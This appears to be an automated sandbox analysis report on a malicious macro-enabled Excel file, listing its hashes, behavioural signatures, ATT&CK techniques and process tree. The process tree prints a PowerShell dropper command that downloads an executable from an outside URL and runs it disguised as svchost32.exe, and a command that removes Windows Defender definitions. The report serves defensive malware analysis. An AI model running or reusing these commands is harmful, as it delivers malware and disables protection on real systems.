Analysis

  • max time kernel
    134s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 16:50

General

  • Target

    800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm

  • Size

    28KB

  • MD5

    687ddd53b6c273583e08db1698bfeabc

  • SHA1

    ed237ecf129e28f509de74a6f3c560a3d2aa2bec

  • SHA256

    800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59

  • SHA512

    3462614f8f8c9260be3bd585c9c307c1b6abe184950338b65e52a52a56184b4813351f7df035261f276473cb351a8d82d6d673cb8e5ea21aae5509c16222c0ef

  • SSDEEP

    768:+dgb8qEv5j/hv2454yNX0R/V+BKlRGstxHIU:+B15j/s45rNER/V+B6Rn7HIU

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/1.exe

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\800d6760b293cd2e33128cff0e08e1000a53ab91c3ba05e6e1577a9490899b59.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/1.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3580
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\system32\taskkill.exe
        "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
      2⤵
      • Process spawned unexpected child process
      PID:1080

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    8e42bec1f8f4c3705f1df36c21c85531

    SHA1

    c9d6aac3c1b16ed12f22185ebdc9f921cd396d14

    SHA256

    f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2

    SHA512

    d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6

  • memory/1080-142-0x0000000000000000-mapping.dmp
  • memory/1468-147-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp
    Filesize

    10.8MB

  • memory/1468-144-0x0000022FB5E90000-0x0000022FB5EB2000-memory.dmp
    Filesize

    136KB

  • memory/1468-148-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp
    Filesize

    10.8MB

  • memory/1468-141-0x0000000000000000-mapping.dmp
  • memory/1960-151-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp
    Filesize

    10.8MB

  • memory/1960-139-0x0000000000000000-mapping.dmp
  • memory/1960-146-0x00007FFC5C690000-0x00007FFC5D151000-memory.dmp
    Filesize

    10.8MB

  • memory/2408-145-0x0000000000000000-mapping.dmp
  • memory/3580-140-0x0000000000000000-mapping.dmp
  • memory/3812-135-0x00007FFC45150000-0x00007FFC45160000-memory.dmp
    Filesize

    64KB

  • memory/3812-136-0x00007FFC45150000-0x00007FFC45160000-memory.dmp
    Filesize

    64KB

  • memory/3812-132-0x00007FFC45150000-0x00007FFC45160000-memory.dmp
    Filesize

    64KB

  • memory/3812-138-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmp
    Filesize

    64KB

  • memory/3812-134-0x00007FFC45150000-0x00007FFC45160000-memory.dmp
    Filesize

    64KB

  • memory/3812-133-0x00007FFC45150000-0x00007FFC45160000-memory.dmp
    Filesize

    64KB

  • memory/3812-137-0x00007FFC42D80000-0x00007FFC42D90000-memory.dmp
    Filesize

    64KB

  • memory/4756-143-0x0000000000000000-mapping.dmp